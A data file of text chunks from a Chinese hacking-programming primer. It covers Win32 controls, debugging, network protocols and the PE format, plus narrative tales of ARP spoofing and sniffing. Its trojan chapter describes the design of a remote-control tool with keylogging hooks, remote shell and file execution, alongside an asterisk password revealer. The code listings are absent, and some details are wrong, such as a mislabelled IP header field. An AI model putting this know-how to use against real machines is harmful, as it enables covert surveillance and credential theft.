    {"text": "nMaxCount，指定允许复制到上述缓冲区中的最大字符数（TCHAR字符类型），如果字符串的长度（包含结束空字符）大于指定的最大字符数，则会被截断。"},
    {"text": "5．静态文本和分组框 静态文本和分组框提供一种简单的方式，在对话框或其他窗口中显示文本。 静态文本一般作为其他控件的标签或者提示用语，分组框含有矩形可以将一些控件包含在里面作为分类，如图4.10所示。 图4.10 使用静态文本和分组框的方法是：选择工具箱，在对话框编辑器中将对应控件（Static Text和Group Box）拖拽到对话框中，调整到适当的位置和大小，然后，在其属性中设置标题或其他属性，其中，标题即为要显示的文本。"},
    {"text": "6．列表框和组合框控件 列表框提供一个可供用户选择的列类，用户可以一次选择一个项目，也可以同时选中多个项目。 组合框由一个列表框和一个编辑控件组成。"},
    {"text": "● LB_DELETESTRING消息，该消息在列表框中删除一个字符串，消息的wParam参数指明要删除项的索引，该索引从0开始。 ● LB_RESETCONTENT消息，该消息删除列表框中的所有项。"},
    {"text": "使用列表视图控件的方法是：选择工具箱，在对话框编辑器中将列表视图控件（List Control）拖拽到对话框中，调整到适当的位置和大小（如图4.12所示）。"},
    {"text": "图4.12 图4.13 （1）列表视图的分栏 列表视图控件首先将它所占用的空间在水平方向上分成若干个专栏（column），每个栏的属性用LVCOLUMN结构来描述。 当要添加新专栏时，要先恰当地设置此结构中各域的值，然后向列表视图窗口发送VM_INSERTCOLUMN消息，消息的lParam参数指定了LVCOLUMN结构地址，wParam参数指定了要添加的专栏号，代码如下所示： LVCOLUMN结构中的mask是一组标志位，它指示了该结构中哪些成员变量是有效的，只有指定了一个成员有效，Windows在收到LVM_INSERTCOLUMN消息后，才会去查看这个成员的值。 （2）在列表视图中添加项 专栏设置完成后，列表视图控件又在垂直方向上分了许多的项，每一行就是一项，其属性用LVITEM结构描述。"},
    {"text": "代码如下所示： （4）响应列表视图消息 当有事件发生时，该控件向父窗口发送WM_NOTIFY消息，消息的wParam参数指定了控件的ID号，lParam参数是一个指向NMHDR结构的指针。"},
    {"text": "程序接收到WM_NOTIFY消息之后，查看wParam参数记录的控件ID号，如果是列表视图控件发来的，就通过以下代码处理它： 至此，已经对常用的控件进行了介绍，接下来通过一个例子演示控件的使用方法。"},
    {"text": "例如，在Windows 2000以前，可以使用向远程进程的密码编辑框发送WM_GETTEXT消息的方法直接获得密码，在Windows 2000以后，已经不允许跨进程的密码读取了，但是黑客仍然可以通过使用将代码注入到远程进程的方法获得密码。"},
    {"text": "当前进程通过响应WM_MOUSEMOVE消息来获取鼠标指针的位置，然后根据获得的坐标得到被激活窗口的窗口句柄，并得到窗口的类名称和窗口风格。"},
    {"text": "最后判断是不是密码框风格，如果是，则对此控件所在的远程进程（本章也演示了当前进程密码框的情况）发送EM_SETPASSWORDCHAR消息，即取消此密码框的Password属性，这样，密码就会以明文显示出来。"},
    {"text": "添加新项，选择“C++文件（.cpp）”，将其命名为“PswSpy”，然后在其中加入如下代码： 你看，一个星号密码查看器就这么几行代码，是不是很简单啊？"},
    {"text": "显示主对话框，在其中输入密码（星号，不可见），单击“查看”按钮后鼠标移动到要查看密码的地方，即可显示密码，如图4.15所示。 图4.15 同样单击“查看”按钮，然后在要查看的密码处单击，就可以显示出密码（如图4.16和图4.17所示）。"},
    {"text": "今天俺明白了消息循环机制，还学到了消息的结构以及怎么收消息、发消息，怎么绘制UI界面，另外，俺还写了个星号密码查看器，俺已经晋升为一名大牛黑客了。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 先生，最开始俺学习编程的时候一直用Turbo C，那玩意儿邪门难用，外观也很是丑陋，后来俺换成了Visual C++6.0，可是又老是编译通不过。"},
    {"text": "将军问得好，随着这计算机技术的发展啊，编程早就不再是单纯的敲打代码了，踩在……哦，错了，是站在前人的经验上，使用全新的编程环境，已经让编程过程变得简单明快。"},
    {"text": "它是微软公司推出的、用于Windows平台应用程序开发的集成开发环境，可以让编程人员更快速地创建高质量的应用程序，有了它，以后你编写应用程序就会变得更为高效和轻松。"},
    {"text": "加载完成后，进入如图2.3所示的安装欢迎页面并继续加载安装组件。 所有组件都加载完后，单击“下一步”按钮继续安装，如图2.4所示。"},
    {"text": "图2.7 7）Visual Studio 2008安装完成后，第一次启动需要对其进行一些配置，将军别怕，不需要你弹动你那珍贵的手指头。 如图2.8所示，Visual Studio 2008会自动进行配置，随后就能进入开发平台主界面。"},
    {"text": "启动Visual C++ 2008，单击菜单栏“文件”→“新建”→“项目”命令，会弹出如图2.9所示的“新建项目”对话框，跟着我进行操作，最后单击“确定”按钮即可。"},
    {"text": "上一步操作后，会弹出“Win32应用程序向导”对话框，单击“下一步”按钮，在出现的如图2.10所示的对话框中，选择应用程序类型为“控制台应用程序”，然后单击“完成”按钮。"},
    {"text": "单击菜单栏中的“项目”→“添加新项”命令，会弹出如图2.11所示的“添加新项”对话框，“模板”自然是选择“C++文件(.cpp)”，根据需要命名，如“AppMain”，然后单击“添加”按钮。 图2.11 2）将军你瞧，单击“添加”按钮就自动进入代码编辑页“AppMain.cpp”，在页中添加如下所示的代码。"},
    {"text": "当程序不能成功运行，或在运行过程中突然故障，我们通常称之为有BUG。 在代码中导致程序故障的原因通常有语法错误和语义错误两种。 语法错误是由语句形式错误引起的，如语句结尾少加了分号等，这类错误比较容易被发现，编译器能容易地识别出此类错误，并为程序员指示错误信息。 而语义错误通常是语法正确，编译器能通过，但逻辑或者数据流有错误，使程序异常终止，这类错误比较难以被发现，这就需要用到Visual C++ 2008的Debug调试功能了，用它就能帮助你更方便地找出错误。"},
    {"text": "1．设置断点 所谓断点，就是在程序中使调试器暂停执行的位置。 在程序中可以设置多个断点，这样程序就可以在你认为可能有错误的范围处停止，然后从断点处开始进行单步执行，并同时查看各变量的值，从而揪出错误。 在源代码中设置断点的方法有几种，例如，将光标停留在要设置断点的语句行，然后单击菜单栏的“调试”菜单项，单击“切换断点”命令或者按快捷键“F9”即可设置断点。 是不是有点复杂，将军别急，还有种更方便的办法，如图2.13所示，你可以看到，语句行左边有一条纵向的灰色栏，上面有3个红色的圆点，这也是断点，你只需要在那条灰色栏上单击就可以在需要的地方设置断点。"},
    {"text": "“启动调试”命令：使程序运行到第一个断点（如果有的话）后暂停，此时这个命令会变为“继续”命令，单击“继续”命令，使程序运行到下一个断点。"},
    {"text": "“逐语句”命令：当直接单击该命令时，程序从主函数的第一条语句开始执行，并在每条语句执行后停止，该命令在断点后单击可用于执行之后的一条语句，并停止。"},
    {"text": "“跳出”命令：当程序运行在主函数的某一语句时，单击该命令没有效果。 当执行“逐语句”后，单击该命令，可在进入其他函数后跳出而回到主函数。"},
    {"text": "Unknown 附录A 网络协议概览 A.1 网络协议概述 TCP/IP协议是Internet目前使用的网络协议体系，它包括4层结构，分别是：网络接口层、网络层、传输层和应用层，如图A.1所示。 图A.1 1．网络接口层 网络接口层包括物理层和数据链路层，物理层负责物理传输介质的定义及数据编码的规则，数据链路层则负责基本的链路管理、帧的定义、流量控制、寻址，等等。各种局域网（以太网、令牌环网，以及无线介质和设备等）和广域网（PPP点对点协议及X.25等）技术都在网络接口层工作。 2．网络层 负责基本的数据封包和寻址功能，如IP协议、ICMP协议、ARP协议及RARP协议都在这一层工作。 3．传输层 负责主机间端口到端口的通信，并保证数据传输正确无误，如TCP、UDP等协议都在这一层工作。 4．应用层 为用户提供各种网络通信服务，如邮件传输（SMTP）、文件传输协议（FTP）、网络远程访问协议（Telnet）等。 TCP/IP协议族中各个协议间的关系如图A.2所示。 图A.2 A.2 以太网协议 以太网协议是目前局域网内使用最广泛的协议，它属于网络接口层。 【以太网协议结构】 【以太网协议首部结构体定义】 【主要字段】 EtherDestHost[6]、EtherSrcHost[6]：目的以太网地址及源以太网地址，通常用6个连续的16进制数表示，如12-34-56-78-9A-BD。 EtherType：上层协议类型，0800为IP协议，0806为ARP协议，8035为RARP协议。 A.3 IP协议 IP协议属于网络层，是TCP/IP协议族的核心，负责数据的分片、组装和寻址。 【IP协议的结构】 【IP协议首部结构体定义】 【主要字段】 Verlen：通常为4，即IPv4。若为6，则为IPv6版本。 TotalLen：IP首部和数据部分的长度之和。 ttl：上层协议类型，6为TCP协议，17为UDP协议，1为ICMP协议。 SrcIp、DestIp：源IP地址及目的IP地址，可使用inet_ntoa()函数转换为字符串形式。 A.4 ARP协议 ARP协议负责在局域网内传递IP地址与以太网地址的映射关系，更新各主机上的ARP缓存表。 【ARP协议的结构】 【ARP协议首部结构体定义】 【主要字段】 OperationCode：操作码，1为ARP请求协议，2为ARP应答协议，3为RARP请求协议，4为RARP应答协议。 EtherSrcHost[6]、SrcIp[4]：ARP数据包到达目的主机后，目的主机会将源IP地址和源MAC地址的映射关系更新到ARP缓存表内。 A.5 TCP协议 TCP协议是面向连接的协议，提供流式的数据传输，有较复杂的确认、重传、流量控制、拥塞控制等机制，能尽最大可能地使数据完整无误地传送到目的主机。 【TCP协议的结构】 【TCP协议首部结构体定义】 【主要字段】 Lenres：首部长度（4bit）加保留位，由于TCP协议内没有表明数据长度的字段，所以在计算TCP协议后的数据长度时，要用IP协议内的总长度（TotalLen）字段减去IP协议首部长度，再减去TCP协议首部长度。 Flag：标记，如表A.1所示。 表A.1 A.6 UDP协议 UDP是无连接的，它不保证可靠交付，也没有复杂的拥塞控制及流量控制，它只是在“尽最大努力”进行传输。 【UDP协议结构】 【UDP协议首部结构体定义】 【主要字段】 Length：UDP协议首部和数据部分的总长度。 A.7 ICMP协议 ICMP协议与IP协议位于同一层，它被用来传送IP的控制信息及提供有关通向目的主机的路径信息。 【ICMP协议结构】 【ICMP协议首部结构体定义】 【主要字段】 Type、Code：部分Type、Code字段对照如表A.2所示。 表A.2 A.8 IP、TCP、UDP、ICMP协议校验和的计算方法 以下是IP、TCP、UDP和ICMP协议的校验和的计算方法。 其中，buffer是存放TCP、UDP、ICMP的协议首部和数据部分（或IP首部，IP协议内的校验和只是首部的校验和）的缓冲区，size是缓冲区的大小。计算校验和的步骤为：把校验和字段全部填充为0，计算校验和，将得到的校验和添加到校验和字段。 小小黑客之路：黑客工具、攻防及防火墙编程入门 第8回 以你的名义欺骗你 冒充他人的骗子不光存在于街头，也存在于计算机之中。编写一个ARP欺骗工具，可以使你实现用别人的“名字”做自己想做的事。 曹操平时日理万机，每天都要上网收发大量邮件，处理各项事务。张飞在经历了嗅探失败事件后，与曹操已结下深仇大恨。他暗想，既然自己不能截获曹操的主机发送的数据，那索性就不让曹操主机发送出任何数据。于是，张飞每日寻找可以达到目的的方法，终于了解到了ARP欺骗技术。张飞在诸葛亮的教导下，短短半天就编写了一个ARP欺骗工具。他赶紧拿着刚出炉的ARP欺骗工具去欺骗了曹操一把。其实，张飞的ARP欺骗工具刚一运行，正在上网的曹操就感觉出了问题，怎么网页一下就打不开了，而且连QQ都上不去了，曹操甚是疑惑。之后曹操束手无策，郁闷了两三天，当然他也不全在郁闷，两三天时间里，曹操也就弄明白了是怎么回事，原来又是张飞动的手脚。话说曹操毕竟也不是凡人，他很快学会了ARP欺骗的工作原理，并且想出了应对的措施。他将网关的MAC地址和IP地址设为静态绑定，并且安装了ARP防火墙，效果当然是立竿见影啦，他又可以上网了。才高兴了两三天的张飞又一次失望了，看来他又要学习新的招数了。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 附录B PE文件格式 B.1 PE文件概述 可执行文件是指可以加载到内存中，并由操作系统加载程序执行的文件。"},
    {"text": "如图B.1所示是PE文件格式的基本结构图，本附录将结合此图和winnt.h中定义的一些相关结构体类型，对PE文件格式的各个组成部分进行自下而上的详细介绍。 图B.1 B.2 PE文件结构 1．DOS文件头 PE文件为了保持与DOS系统的向下兼容性，在PE文件头之上又加上了一个标准的DOS可执行部分，叫做DOS文件头。"},
    {"text": "DOS文件头由DOS MZ Header和DOS Stub两部分组成。 当一个PE文件格式的程序在DOS系统下运行时，DOS会识别相应的DOS MZ Header，然后运行MZ Header之后的Stub部分。"},
    {"text": "【结构体定义】 DOS文件头的MZ Header部分由IMAGE_DOS_HEADER结构体定义： 【相关字段说明】（如表B.1所示） 表B.1 【主要字段】 e_magic：默认设置为5A4Dh。"},
    {"text": "e_res：包括e_res[4]和e_res2[10]两个字段，作为保留字，并没有特殊含义，一般用来被填入特殊标志以判断此PE文件是否被改写。"},
    {"text": "在程序中可用类似于以下的代码来实现从DOS文件头地址得到PE文件头地址。 2．PE文件头 通过DOS文件头的e_lfanew字段，可得到PE文件头位置，PE文件头包含很多PE装载器要用到的重要字段。"},
    {"text": "（1）IMAGE_NT_HEADERS32结构体 【结构体定义】 PE文件头在winnt.h中由IMAGE_NT_HEADERS32结构体定义： 【相关字段说明】（如表B.2所示） 表B.2 【主要字段】 Signature：默认设置为00004550h，在winnt.h中，Signature被定义为： 00004550h的ASCII码为“PE00”，此字段标识PE文件头的开始，经常被用来判断PE文件的有效性。 FileHeader：IMAGE_FILE_HEADER（映像文件头）类型结构，包含了PE文件的一些基本信息，下面会详细介绍。 OptionalHeader：IMAGE_OPTIONAL_HEADER32（可选映像头）类型结构，同样包含了很多PE文件的基本信息，但它并非是“可选的”，因为每个PE文件都包含此结构体，在下文也将会详细介绍。 （2）IMAGE_FILE_HEADER结构体 【结构体定义】 IMAGE_FILE_HEADER结构体在winnt.h中有以下定义： 【相关字段说明】（如表B.3所示） 表B.3 【主要字段】 Machine：可执行文件的目标CPU类型，其定义值如表B.4所示。"},
    {"text": "Characteristics：文件属性标志字段，由不同的属性标志运算得到，在winnt.h中，有详细的属性标志定义，在此不一一列举，需要知道的是对于普通的可执行文件，此字段值应为010Fh，而对于DLL文件，此字段值应为210Eh。"},
    {"text": "（3）IMAGE_OPTIONAL_HEADER32结构体 【结构体定义】 可选映像头IMAGE_OPTIONAL_HEADER32结构体同样包含了一些供PE文件加载和执行所用的基本信息，其结构体定义如下： 【相关字段说明】（如表B.5所示） 表B.5 【相对虚拟地址（RVA）】 RVA是相对虚拟地址（Relative Virtual Address）的缩写，它指PE文件中的某个数据在装入内存后，相对于内存中文件头的偏移量。"},
    {"text": "SizeOfCode：用于表示所有带有IMAGE_SCN_CNT_CODE属性的区块的总大小，并且是经过字节对齐后的值，如果PE新增加了代码区块，此值需要进行相应的更改。"},
    {"text": "ImageBase：指定文件的默认装入基址，如果此地址被占用，则需要根据重定位信息计算新的装入地址，默认地址被占用一般发生在DLL文件装入的情况下。"},
    {"text": "SectionAlignment&FileAlignment：这两个字段指定了区块的对齐单位，即区块的大小必须是此两值的整数倍。 SectionAlignment针对区块在内存中的情况，FileAlignment则针对区块在磁盘中的情况。"},
    {"text": "表B.6 DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]：IMAGE_DATA_DIRECTORY（数据目录表）类型结构体，其中，IMAGE_NUMBEROF_DIRECTORY_ENTRIES值由NumberOfRvaAndSizes字段指定，默认为16。"},
    {"text": "表B.7 在这16个数据目录表成员中，比较重要的有导出表、导入表、资源、重定位表、导入函数地址表，在按自下而上的方式介绍完PE格式后，也将对这些成员进行一一介绍。"},
    {"text": "【结构体定义】 区块表的格式在winnt.h中由IMAGE_SECTION_HEADER结构体定义： 【相关字段说明】（如表B.8所示） 表B.8 【主要字段】 Name[IMAGE_SIZEOF_SHORT_NAME]：首先，IMAGE_SIZEOF_SHORT_NAME的定义如下： 所以，Name是一个8字节的ASCII码数组，用来定义区块名称，常见的区块名称有“.text”、“.data”等。"},
    {"text": "表B.9 B.4 导入表 1．导入表概述 PE文件调用外部数据称之为导入，例如，当一个EXE类型PE文件调用另外的一个DLL文件中的某些函数来完成某些功能时，这些相关的函数代码并不在EXE文件中，EXE文件只包含相关的调用信息，只有当EXE文件被加载到内存的时候，Windows加载器才会将这些导入函数和其地址对应起来，而这一过程则是通过操作导入表完成的，导入表即是导入函数和其相关信息的组织形式。 2．导入表结构 导入表由数据目录表的第二个IMAGE_DATA_DIRECTORY结构体指定，具体的导入表结构是由一系列的IMAGE_IMPORT_DESCRIPTOR结构体组成的，每一个IMAGE_IMPORT_DESCRIPTOR对应一个导入的DLL文件，并且最后由一个字段全为0的IMAGE_IMPORT_DESCRIPTOR结构体作为结束。"},
    {"text": "IMAGE_IMPORT_DESCRIPTOR结构体在winnt.h中的定义如下： 【相关字段说明】（如表B.10所示） 表B.10 【主要字段】 OriginalFirstThunk：指向输入名称表（INT）的RVA，输入名称表是一个包含一系列IMAGE_THUNK_DATA结构体的数组。"},
    {"text": "IMAGE_THUNK_DATA的定义如下： 【相关字段说明】（如表B.11所示） 表B.11 当IMAGE_THUNK_DATA值的最高位为1时，函数以序号方式输入，此时，DWORD的低31位代表函数序号，当最高位为0时，函数以名称方式输入，此时，DWORD代表一个IMAGE_IMPORT_BY_NAME结构体的RVA。 IMAGE_IMPORT_BY_NAME是输入函数相关信息的结构体，定义如下： OriginalFirstThunk和FirstThunk的差别在于当PE文件被载入内存时，FirstThunk字段所指向的数组会被替换成真正的函数地址，之所以保留一份OriginalFirstThunk，是用来反向查询地址所对应的导入函数名的。"},
    {"text": "值得注意的是，一旦模块被装入，FirstThunk指向的输入地址表（IAT）将包含所有输入函数的地址，IAT表不仅仅可以通过FirstThunk索引，在数据目录表的第13项同样指定了IAT表的信息。"},
    {"text": "B.5 导出表 1．导出表概述 每个DLL文件中一般都会包含一系列的供外部程序调用的函数，这些输出的信息保存在导出表中，包括函数名称、地址、序号，等等，因此，导出表就是各种输出信息的组织形式。 一般情况下，EXE文件不具有导出表，而DLL文件都具有导出表。"},
    {"text": "2．导出表结构 导出表由第1个数据目录表（IMAGE_DATA_DIRECTORY）指定，在winnt.h中，以IMAGE_EXPORT_DIRECTORY结构体定义： 【相关字段说明】（如表B.12所示） 表B.12 【主要字段】 Name：指向模块名称字符串的RVA地址，代表文件最原始的模块名称。"},
    {"text": "NumberOfFunctions& NumberOfNames：NumberOfFunctions代表所有的导出函数数量，而NumberOfNames代表可以通过函数名称导出的函数数量，所以，NumberOfFunctions – NumberOfNames代表只能通过序号导出的函数数量。 注意，可以通过函数名称导出的函数，同样也可以通过序号导出。"},
    {"text": "AddressOfFunctions：指向一个包含所有函数地址的数组，此字段和数组中的各项均为RVA地址。 AddressOfNames：指向一个包含所有函数名称地址的数组，同样，此字段和数组中的各项均为RVA地址。 AddressOfNameOrdinals：指向一个字类型（WORD）的数组。 AddressOfNameOrdinals的作用是为函数名称和函数地址提供一个桥梁，AddressOfNames字段中的函数名称和AddressOfNameOrdinals中的函数地址一一对应。"},
    {"text": "B.6 重定位表 1．重定位表概述 重定位表包含了所有需要重定位数据的信息，操作系统如果可以按PE header中的ImageBase字段指定地址加载PE文件，则此PE文件可以不需要进行重定位，但是如果不能加载到指定地址，则需要按照重定位表信息对数据进行重定位。 对于EXE类型PE文件来说，操作系统为每个可执行文件分配独立的虚拟地址空间，所以EXE文件总能按照ImageBase指定地址装入，但是，对于DLL类型PE文件来说，由于宿主EXE可能加载多个DLL文件，所以很有可能ImageBase指定的地址已被占用，此时就必须使用重定位表，故一般情况下，EXE文件并不包含重定位表，但DLL文件都会包含重定位表。 如表B.7所示，重定位表由第6个数据目录表（IMAGE_DATA_DIRECTORY）指定，并且，重定位表被分成各个重定位块，每个块是一个4KB的基址重定位页，每个重定位块必须以4字节对齐。 2．重定位表应用 假设PE文件的默认指定加载基址为00100000h，其中一变量的地址为00101000h。 在基址被占用的情况下，Windows加载器将此文件加载至00300000h位置，此时就需要进行重定位，计算重定位后的变量地址的方法如下： 00300000h – 001000000h = 00200000h 00200000h + 001001000h = 00301000h 新加载地址与原指定加载地址之差，加上变量地址，即为重定位地址。 3．重定位表结构 每个重定位块以一个IMAGE_BASE_RELOCATION结构体开始，此结构体在winnt.h中定义如下： 【相关字段说明】（如表B.13所示） 表B.13 【主要字段】 VirtualAddress：当前重定位内存页的起始RVA，各重定位项的地址加上此值才是该重定位项的完整RVA地址。"},
    {"text": "位于IMAGE_BASE_RELOCATION结构体之后的是各个重定位项，每个重定位项由16位组成（一个WORD类型），其中，低12位代表需要重定位数据在页面中的地址，而高4位则用于描述当前重定位项的类型。"},
    {"text": "2．资源的组织形式 如图B.2所示，资源的组织形式错综复杂，很难用简单的篇幅描述清楚，而且一般情况下，资源都是由编译器自动组织生成，所以本附录不详细阐述，读者可参考MSDN文档进行深入了解。"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 第7回 数据窃听风云 数据窃听看上去很酷，动动手，WinPcap嗅探工具就可以为你拦截和分析网络数据。 话说上次张飞使用端口扫描器对曹操的计算机进行了一番踩点，结果不幸被曹操发现，并且使用防火墙阻止了这种攻击，在此惨痛教训下（踩点不成反被发现），张飞只好又去请教军师诸葛亮，学会了一种叫做数据嗅探的技术，据说可以不留痕迹地监听到别人的通信内容，从而得到一些敏感信息。于是乎，张飞自己利用WinPcap编写了一个数据包嗅探器，并且对曹操的电脑进行了一番试验，果然得到了令人兴奋的结果。他在曹操毫不知情的情况下嗅探到了曹操登录曹营内网的账号及密码，并且恶作剧地把曹操的个人主页涂改了一番，写下了“老张到此一游”的标语。 曹操发现自己的个人主页被别人大肆破坏，明知是张飞所为却苦于没有证据（嗅探不会留下痕迹），只好选择吃一堑长一智，自己在网上翻阅资料，最终学会了数据加密传输技术，从此以后，张飞再也嗅探不到曹操有用的信息了。"},
    {"text": "那我就再教你木马的编写吧，后门和木马程序较为类似，但是后门更注重于自身的隐蔽性，它可能并不具备很多远程控制的功能，而木马就能有效地弥补这些不足。"},
    {"text": "木马能够达到通过本地计算机来查看、控制远程主机的目的。 常见的木马软件具有屏幕监控、键盘监控、远程CMD、各种信息（文件、进程、注册表、服务监视等）管理、远程开关机和远程视频音频监视等功能。 12.1 原理及相关技术 12.1.1 功能概述 我将对其中比较流行，且易于实现的部分功能做详细介绍，包括远程主机信息查看、远程进程管理、远程CMD、键盘监控、文件管理和远程桌面捕获6大功能，如图12.1所示。"},
    {"text": "本案例将实现一套简单的通信协议体系，协议结构较为简单，定义如下： 1．RATID为枚举类型 其中，每个ID代表一个具体的功能标识，定义如表12.2所示。"},
    {"text": "表12.2 文件管理类ID 远程CMD类ID 进程管理类ID 键盘监控类ID 桌面捕获类ID 远程信息类ID 2．RatCsm与RatLen字段 同为int型字段，RatCsm可以用来指定校验码、传输的文件大小和其他信息等。"},
    {"text": "而RatLen则用来指定协议长度，这里的长度定义是指协议头加数据内容的字节数，当此字段的长度小于协议头长度时，可以判断出数据包已出错。"},
    {"text": "Winsock I/O模型可以实现让Winsock应用程序对I/O套接字的请求进行处理。 Winsock I/O模型分为5种：Select模型、WSAAsyncSelect模型、WSAAEventSelect模型、Overlapped模型和完成端口模型，我们只需要使用前两种模型。"},
    {"text": "（1）Select模型 服务端使用Select模型，这是一种简单的阻塞式模型，即服务端在select()函数处检测套接字的状态，一直到套接字可用或者出错时返回。 Select模型的核心是select()函数： 功能： 检测一个或多个套接字的状态。"},
    {"text": "readfds：指向一个fd_set数据结构，检测套接字是否可读。 writefds：指向一个fd_set数据结构，检测套接字是否可写。 exceptfds：指向一个fd_set数据结构，检测套接字是否出错。"},
    {"text": "当服务端需要接收固定长度的数据时，使用Select模型，如RecvData()函数： 服务端同时还使用RecvCmd()函数和DispatchCmd()函数完成接收命令和分发命令的功能，介绍如下。"},
    {"text": "WSAAsyncSelect()函数在每个功能模块对话框的WM_INITDIALOG事件中执行，使当前窗口作为其绑定的消息通知窗口，例如，键盘监控模块的窗口过程如下： 1）客户端发送命令的函数SendCmd() 2）客户端接收命令的函数RecvCmd() Winsock I/O模型的博大精深，这次我算是领教到了。"},
    {"text": "远程主机信息模块共实现8种信息的获取，这些功能在服务端实现，然后将数据通过通信模块传输到客户端进行显示。 以下是远程主机信息获取功能中将使用到的一些API函数。 （1）远程机器用户名 使用GetUserName()函数完成： 功能： 获得用户名称。"},
    {"text": "（3）内存信息 利用GlobalMemoryStatus()函数实现获取远程机器内存总大小和使用情况的信息。 GlobalMemoryStatus()函数声明： 功能： 获得当前机器物理内存和虚拟内存的使用情况。"},
    {"text": "（5）CPU架构及类型 包括Model和CPU Type两部分信息，这两者都可以从注册表中获得。 在注册表的“HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\ CentralProcessor\\0”路径下的“Identifier”处指定了处理器的架构信息、“ProcessorNameString”处指定了CPU的类型，如图12.2所示。 图12.2 操作注册表获得这些信息的方法在前面已经用到很多次，相信你已经熟练掌握，这里直接给出获得CPU类型的实现代码。 要获取处理器架构信息，只需把RegQueryValueEx()函数的第二个参数更改为“Identifier”即可。"},
    {"text": "（6）Windows操作系统版本号 这个功能比较简单，但是想要获得详细的版本号，就比较烦琐，需要利用大量的switch/case结构进行各种版本的判断，其中主要涉及的API有GetVersionEx()、GetProductInfo()，在此，将对这些API进行介绍。 1）GetVersionEx()函数声明 功能： 获得操作系统版本信息。"},
    {"text": "参数： lpVersionInformation：一个指向OSVERSIONINFO或者OSVERSIONINFOEX结构体的指针，存储操作系统版本信息（具体的结构体类型由其dwOSVersionInfoSize字段决定）。"},
    {"text": "参数： dwOSMajorVersion：操作系统主版本号。 dwOSMinorVersion：操作系统次版本号。 dwSpMajorVersion：服务升级包主版本号。 dwSpMinorVersion：服务升级包次版本号。"},
    {"text": "12.1.4 进程管理 上面的远程信息部分主要是关于用户和机器的信息，关于当前的机器状态，我们可以通过进程管理进行进一步的了解。 远程进程管理主要用于针对目标主机的进程运行情况进行判断，并实施进一步措施，针对服务端的进程操作主要有两类——枚举进程和删除进程。"},
    {"text": "（1）枚举进程 枚举进程是Windows API中较为经典的枚举模式，许多其他信息结构体的枚举方法与此类似：首先对其建立快照，然后获得链表中第一个进程信息块的信息，并依次获取其他的进程信息块的信息。"},
    {"text": "钩子是Windows系统中非常重要的系统接口，使用它，可以截获并处理送给其他应用程序的消息，以完成普通应用程序难以实现的功能。 钩子的种类很多，每种钩子只能截获并处理相应的消息，在用户界面设计中，就曾利用全局日志钩子实现了一个星号密码查看器。"},
    {"text": "钩子实际上是一个处理消息的程序段，通过系统调用将其载入。 每当特定的消息发出，在没有到达目的窗口前，钩子程序就先捕获该消息，亦即钩子函数先于窗口过程得到控制权。 这时，钩子函数可对该消息进行处理，也可不做处理，继续传递该消息，还可以强制结束消息的传递。"},
    {"text": "要实现Win32的系统钩子，需要利用SetWindowsHookEx()函数来安装这个钩子的回调函数。 1）SetWindowsHookEx()函数声明 功能： 把应用程序定义的钩子回调函数安装至钩子链。 参数： idHook：指定需要被安装的钩子回调函数的类型，常用取值如表12.8所示。 表12.8 lpfn：钩子回调函数地址，HOOKPROC类型如下所示： 除WH_JOURNALRECORD和WH_JOURNALPLAYBACK类型钩子以外，其他在系统范围内使用的全局钩子，如键盘钩子WH_KEYBOARD，其回调函数地址必须处于一个DLL中。 hmod：用于存放钩子回调函数代码（lpfn）的DLL的句柄。"},
    {"text": "在键盘监控的钩子回调函数里，需要完成的功能是解析键盘的虚拟码，以获取真正的按键信息，并在回调函数里记录当前键盘输入窗口是否改变，如果改变就保存窗口的名称。"},
    {"text": "在钩子回调函数内，捕获到一条消息后，还需将其传送到钩子链的下一个钩子，利用CallNextHookEx()实现。 4）CallNextHookEx()函数声明 功能： 把消息传递到钩子链中的下一个钩子例程。"},
    {"text": "钩子可以安装也可以卸载，卸载是通过UnhookWindowsHookEx()函数实现的。 5）UnhookWindowsHookEx()函数实现 功能： 卸载钩子链中的一个钩子回调函数。 参数： 要被卸载的钩子的句柄。"},
    {"text": "文件管理功能维护一个当前文件夹路径，通过枚举当前路径下的所有文件，使得客户端可以针对这些文件进行各种操作（打开、返回、下载、删除等）。"},
    {"text": "（2）枚举当前文件夹内的文件 枚举文件和枚举进程的方法类似，但不用建立快照，利用FindFirstFile()和FindNextFile()函数实现即可。 1）FindFirstFile()函数声明 功能： 根据文件名在指定文件夹内搜索文件。 参数： lpFileName：文件路径或者文件名，可以带通配符。 lpFindFileData：一个指向WIN32_FIND_DATA结构体的指针，用于存储文件信息。"},
    {"text": "2）FindNextFile()函数声明 功能： 根据FindFirstFile()或FindFirstFileEx()函数执行情况，继续搜索文件。 参数： hFindFile：FindFirstFile()或FindFirstFileEx()函数返回的用于文件查询的句柄。 lpFindFileData：一个指向WIN32_FIND_DATA结构体的指针，用于存储文件信息。"},
    {"text": "具体的文件查询实现代码如下： （3）打开文件 打开文件分为两种，如果为EXE类型文件，则为远程执行，如果为文件夹，则为打开此文件夹并枚举文件，这两种类型的判断在客户端完成，具体的实现代码如下： （4）返回上一层 从当前目录回溯到上一层目录，并显示其文件，实现如下： （5）删除文件 利用DeleteFile()函数实现。"},
    {"text": "另一种方法是直接利用TransmitFile()函数实现文件的传输。 在本模块中，直接利用TransmitFile()进行，而在远程桌面模块传输BMP图像流时，则是利用第一种方法实现。"},
    {"text": "nNumberOfBytesToWrite：指定文件要传送的字节数，为NULL，则代表传送整个文件。 nNumberOfBytesPerSend：每次send操作传送的字节数，用于Windows套接字层来传送指定块大小的数据。"},
    {"text": "下载文件的具体实现过程如下： 1）客户端发送下载文件命令 2）服务端接收命令并传送文件 3）客户端接收到数据并生成文件 关于这段代码，我还有一点要告知你，由于客户端是使用非阻塞传输模式，所以recv()函数执行后立刻返回，如果系统缓冲区中无数据，则返回SOCKET_ERROR。"},
    {"text": "12.1.8 远程桌面 远程桌面功能是捕获被控端的桌面并传输到控制端显示，基本上所有的远程控制软件都具有此功能。 远程桌面的原理是：被控端通过Windows GDI技术生成当前桌面的位图信息，然后把数据传送到客户端，客户端解析位图信息并显示。"},
    {"text": "本书前几章基本没有涉及Windows GDI编程技术，而且Windows GDI相当复杂，无法用较少的篇幅加以说明，所以可以通过MSDN或者其他有关GDI的书籍学习其原理，这里直接给出实现代码供参考。"},
